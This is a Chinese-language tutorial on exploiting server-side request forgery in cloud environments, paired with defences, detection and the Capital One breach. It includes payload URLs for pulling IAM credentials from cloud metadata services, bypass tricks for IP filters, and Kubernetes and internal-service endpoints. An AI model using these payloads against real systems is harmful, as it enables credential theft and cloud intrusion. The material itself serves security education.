云上的ssrf利用
字数 1420 2025-08-06 08:34:57
云环境中的SSRF漏洞利用深度解析
1. 云环境SSRF概述
SSRF(Server-Side Request Forgery,服务端请求伪造)在云环境中具有更高的危害性,主要原因在于:
- 统一网络边界:云厂商为所有云服务使用同一套网络边界和鉴权系统
- 默认信任模型:云组件之间默认相互信任
- 元数据服务暴露:云环境通常提供可访问的元数据服务
- API端点暴露:云服务API通常可通过内部网络访问
2. 云环境SSRF的特殊性
2.1 元数据服务风险
云平台通常通过特定的本地端点提供元数据服务:
- AWS:
169.254.169.254 - Azure:
169.254.169.254/metadata/ - GCP:
metadata.google.internal - 阿里云:
100.100.100.200
这些服务通常包含敏感信息:
- 临时凭证
- IAM角色信息
- 实例配置数据
- 用户数据脚本
2.2 内部API端点
云环境中的服务通常通过内部API相互通信,这些API可能:
- 使用简化的认证机制
- 暴露管理功能
- 包含敏感数据
3. 云环境SSRF利用技术
3.1 元数据服务利用
基本探测方法:
GET /vulnerable?url=http://169.254.169.254/latest/meta-data/
AWS元数据利用路径
- 获取IAM角色:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
- 获取临时凭证:
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE-NAME]
Azure元数据利用
需要添加Metadata: true头:
GET /metadata/instance?api-version=2020-09-01 HTTP/1.1
Host: 169.254.169.254
Metadata: true
3.2 云服务API利用
AWS API利用
- 获取区域信息:
http://169.254.169.254/latest/meta-data/placement/availability-zone
- 调用EC2 API:
POST / HTTP/1.1
Host: ec2.[region].amazonaws.com
Content-Type: application/x-www-form-urlencoded
Action=DescribeInstances&Version=2016-11-15
阿里云API利用
- 获取临时凭证:
http://100.100.100.200/latest/meta-data/ram/security-credentials/[ROLE-NAME]
- 调用ECS API:
GET /?Action=DescribeInstances HTTP/1.1
Host: ecs.aliyuncs.com
3.3 容器环境利用
在Kubernetes环境中:
http://127.0.0.1:10255/pods
http://127.0.0.1:10250/metrics
4. 高级利用技术
4.1 协议转换攻击
利用URL解析差异:
http://example.com@169.254.169.254
http://[::ffff:169.254.169.254]
4.2 DNS重绑定攻击
绕过IP限制:
- 控制一个域名并配置极短TTL
- 第一次解析返回允许的IP
- 第二次解析返回目标内部IP
4.3 服务链利用
通过一个服务访问另一个服务:
http://elasticsearch.service.consul:9200
http://vault.service.consul:8200
5. 防御措施
5.1 输入验证
- 严格验证用户提供的URL
- 使用白名单机制
- 禁止访问内部IP和元数据服务
5.2 网络隔离
- 限制出站连接
- 使用安全组和网络ACL
- 禁用不必要的元数据服务访问
5.3 云服务配置
- 为实例分配最小权限IAM角色
- 使用IMDSv2(AWS)
- 启用元数据服务访问控制
6. 检测与响应
6.1 检测方法
- 监控对元数据服务的访问
- 分析异常出站连接
- 检查日志中的可疑API调用
6.2 响应措施
- 立即撤销泄露的凭证
- 轮换所有可能暴露的密钥
- 审查受影响实例的活动
7. 工具推荐
-
SSRF测试工具:
- Gopherus
- SSRFmap
- ground-control
-
云环境特定工具:
- Pacu (AWS)
- Scout Suite
- CloudMapper
-
元数据服务扫描:
- metasploit模块
auxiliary/scanner/http/aws_metadata - nuclei模板
- metasploit模块
8. 实际案例
8.1 Capital One数据泄露
- 通过SSRF访问元数据服务获取IAM角色
- 使用临时凭证访问S3存储桶
- 导致1亿用户数据泄露
8.2 某云厂商容器逃逸
- 通过SSRF访问Kubernetes API
- 获取集群凭证
- 实现容器逃逸和横向移动
9. 总结
云环境中的SSRF漏洞由于云平台的特性而变得更加危险,攻击者可以通过此类漏洞突破网络边界,访问敏感数据和云服务API。防御需要从输入验证、网络隔离和最小权限等多方面入手,同时建立有效的检测和响应机制。